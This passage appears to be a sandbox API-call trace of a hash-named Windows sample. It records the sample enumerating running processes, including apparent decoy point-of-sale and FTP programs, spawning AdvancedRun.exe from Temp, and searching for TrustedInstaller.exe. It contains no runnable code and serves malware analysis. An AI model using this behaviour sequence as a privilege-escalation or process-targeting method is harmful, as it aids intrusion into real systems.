OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb0) returned 0xfc [0240.528] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\edcsvr.exe" (normalized: "c:\\program files\\dvd maker\\edcsvr.exe")) returned 0x25 [0240.528] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\edcsvr.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\edcsvr.exe") returned="C:\\Program Files\\DVD Maker\\edcsvr.exe" [0240.528] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.528] CloseHandle (hObject=0xfc) returned 1 [0240.528] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0240.529] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb8) returned 0xfc [0240.529] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\fpos.exe")) returned 0x2d [0240.529] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" [0240.529] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.529] CloseHandle (hObject=0xfc) returned 1 [0240.529] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0240.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc0) returned 0xfc [0240.530] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\isspos.exe" (normalized: "c:\\program files\\windows sidebar\\isspos.exe")) returned 0x2b [0240.530] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Sidebar\\isspos.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\isspos.exe") returned="C:\\Program Files\\Windows Sidebar\\isspos.exe" [0240.530] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.530] CloseHandle (hObject=0xfc) returned 1 [0240.531] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0240.531] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc8) returned 0xfc [0240.531] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\mxslipstream.exe" (normalized: "c:\\program files\\msbuild\\mxslipstream.exe")) returned 0x29 [0240.532] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\MSBuild\\mxslipstream.exe" | out: _Dest="C:\\Program Files\\MSBuild\\mxslipstream.exe") returned="C:\\Program Files\\MSBuild\\mxslipstream.exe" [0240.532] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.532] CloseHandle (hObject=0xfc) returned 1 [0240.532] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0240.532] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0xfc [0240.532] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe")) returned 0x35 [0240.533] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" [0240.533] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.533] CloseHandle (hObject=0xfc) returned 1 [0240.533] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0240.534] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd8) returned 0xfc [0240.534] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\spcwin.exe")) returned 0x2f [0240.534] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" [0240.534] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.534] CloseHandle (hObject=0xfc) returned 1 [0240.534] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0240.535] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbe4) returned 0xfc [0240.535] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\spgagentservice.exe")) returned 0x3f [0240.535] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" [0240.535] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.535] CloseHandle (hObject=0xfc) returned 1 [0240.535] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0240.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbec) returned 0xfc [0240.536] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\utg2.exe" (normalized: "c:\\program files (x86)\\windows nt\\utg2.exe")) returned 0x2a [0240.536] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\utg2.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\utg2.exe") returned="C:\\Program Files (x86)\\Windows NT\\utg2.exe" [0240.536] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.536] CloseHandle (hObject=0xfc) returned 1 [0240.536] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="heremanager.exe")) returned 1 [0240.537] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf0) returned 0xfc [0240.537] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\heremanager.exe" (normalized: "c:\\program files\\dvd maker\\heremanager.exe")) returned 0x2a [0240.537] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\heremanager.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\heremanager.exe") returned="C:\\Program Files\\DVD Maker\\heremanager.exe" [0240.537] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.537] CloseHandle (hObject=0xfc) returned 1 [0240.537] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="second.exe")) returned 1 [0240.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc08) returned 0xfc [0240.538] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\second.exe" (normalized: "c:\\program files\\windows nt\\second.exe")) returned 0x26 [0240.539] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\second.exe" | out: _Dest="C:\\Program Files\\Windows NT\\second.exe") returned="C:\\Program Files\\Windows NT\\second.exe" [0240.539] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.539] CloseHandle (hObject=0xfc) returned 1 [0240.539] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="sign.exe")) returned 1 [0240.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0xfc [0240.539] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\sign.exe" (normalized: "c:\\program files\\msbuild\\sign.exe")) returned 0x21 [0240.540] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\MSBuild\\sign.exe" | out: _Dest="C:\\Program Files\\MSBuild\\sign.exe") returned="C:\\Program Files\\MSBuild\\sign.exe" [0240.540] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.540] CloseHandle (hObject=0xfc) returned 1 [0240.540] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="than near.exe")) returned 1 [0240.791] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc18) returned 0xfc [0240.791] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" (normalized: "c:\\program files (x86)\\internet explorer\\than near.exe")) returned 0x36 [0240.792] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\than near.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" [0240.792] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.792] CloseHandle (hObject=0xfc) returned 1 [0240.792] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="history-oh.exe")) returned 1 [0240.793] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc20) returned 0xfc [0240.793] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\history-oh.exe")) returned 0x3a [0240.793] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" [0240.794] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.794] CloseHandle (hObject=0xfc) returned 1 [0240.794] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0240.794] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc28) returned 0xfc [0240.795] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\3dftp.exe")) returned 0x33 [0240.795] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" [0240.795] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.795] CloseHandle (hObject=0xfc) returned 1 [0240.795] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.796] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc30) returned 0xfc [0240.796] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" (normalized: "c:\\program files\\microsoft office 15\\absolutetelnet.exe")) returned 0x37 [0240.796] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe") returned="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" [0240.796] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.796] CloseHandle (hObject=0xfc) returned 1 [0240.796] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.797] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc38) returned 0xfc [0240.797] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\alftp.exe" (normalized: "c:\\program files\\windowspowershell\\alftp.exe")) returned 0x2c [0240.798] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\WindowsPowerShell\\alftp.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\alftp.exe") returned="C:\\Program Files\\WindowsPowerShell\\alftp.exe" [0240.798] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.798] CloseHandle (hObject=0xfc) returned 1 [0240.798] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc8) returned 0xfc [0240.799] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0240.799] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x1795c8) returned 1 [0240.799] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0240.799] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.799] CloseHandle (hObject=0xfc) returned 1 [0240.799] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x0 [0240.800] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xe4c) returned 0xfc [0240.800] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0240.800] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\audiodg.exe", lpdwSize=0x1795c8) returned 1 [0240.801] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\audiodg.exe" | out: _Dest="C:\\Windows\\System32\\audiodg.exe") returned="C:\\Windows\\System32\\audiodg.exe" [0240.801] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.801] CloseHandle (hObject=0xfc) returned 1 [0240.801] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 1 [0240.802] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0xfc [0240.802] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0240.802] wcscpy (in: _Dest=0x179398, _Source="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" [0240.802] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.802] CloseHandle (hObject=0xfc) returned 1 [0240.802] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdvancedRun.exe")) returned 1 [0240.803] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0xfc [0240.803] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 0x35 [0240.803] wcscpy (in: _Dest=0x179398, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" [0240.803] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.803] CloseHandle (hObject=0xfc) returned 1 [0240.804] malloc (_Size=0x11a00) returned 0x1eba760 [0240.804] free (_Block=0x1ead3d8) [0240.804] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0240.804] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd7c) returned 0xfc [0240.805] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0240.805] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\servicing\\TrustedInstaller.exe", lpdwSize=0x1795c8) returned 1 [0240.805] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\servicing\\TrustedInstaller.exe" | out: _Dest="C:\\Windows\\servicing\\TrustedInstaller.exe") returned="C:\\Windows\\servicing\\TrustedInstaller.exe" [0240.805] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.805] CloseHandle (hObject=0xfc) returned 1 [0240.805] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0240.806] CloseHandle (hObject=0x104) returned 1 [0240.806] _wcsicmp (_String1="", _String2="TrustedInstaller.exe") returned -116 [0240.806] _wcsicmp (_String1="", _String2="TrustedInstaller.exe") returned -116 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\smss.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="smss.exe", _String2="TrustedInstaller.exe") returned -1 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="TrustedInstaller.exe") returned -17 